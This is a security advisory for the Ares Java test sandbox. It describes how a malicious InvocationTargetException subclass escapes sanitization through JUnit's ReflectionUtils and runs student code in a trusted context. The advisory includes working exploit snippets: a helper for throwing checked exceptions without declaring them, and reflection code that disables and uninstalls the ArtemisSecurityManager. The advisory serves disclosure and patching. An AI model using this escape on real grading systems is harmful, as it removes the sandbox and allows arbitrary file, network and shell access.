GHSA-883x-6fch-6wjx

### Impact This allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system. ### Patches Update to version `1.7.6` or later. ### Workarounds Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371 ### References _Are there any links users can visit to find out more?_ Not that I know of. ### For more information If you have any questions or comments about this advisory: * Open an issue in https://github.com/ls1intum/Ares/issues * Email us, see https://github.com/ls1intum/Ares/security/policy ### Detailed description Using generics, it is possible to throw checked exceptions without a `throws` clause: <details> <summary>ThrowWithoutThrowsHelper</summary> ```java public class ThrowWithoutThrowsHelper<X extends Throwable> { private final X throwable; private ThrowWithoutThrowsHelper(X throwable) { this.throwable = throwable; } private <R> R throwWithThrows() throws X { throw throwable; } public static <R> R throwWithoutThrows(Throwable throwable) { ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable); @SuppressWarnings("unchecked") ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper; return helperCasted.throwWithThrows(); } } ``` </details> Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`). This exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this: <details> <summary>ReflectionUtils::invokeMethod</summary> ```java public static Object invokeMethod(Method method, Object target, Object... args) { Preconditions.notNull(method, "Method must not be null"); Preconditions.condition((target != null || isStatic(method)), () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString())); try { return makeAccessible(method).invoke(target, args); } catch (Throwable t) { throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t)); } } ``` </details> This method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument. <details> <summary>ReflectionUtils::getUnderlyingCause</summary> ```java private static Throwable getUnderlyingCause(Throwable t) { if (t instanceof InvocationTargetException) { return getUnderlyingCause(((InvocationTargetException) t).getTargetException()); } return t; } ``` </details> `getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`. If `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames. This allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`: <details> <summary>Uninstalling ArtemisSecurityManager</summary> ```java SecurityManager secman = System.getSecurityManager(); Class<?> aresSecmanClass = secman.getClass(); Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled"); isPartlyDisabledF.setAccessible(true); isPartlyDisabledF.set(secman, true); System.setSecurityManager(null); ``` </details> After uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.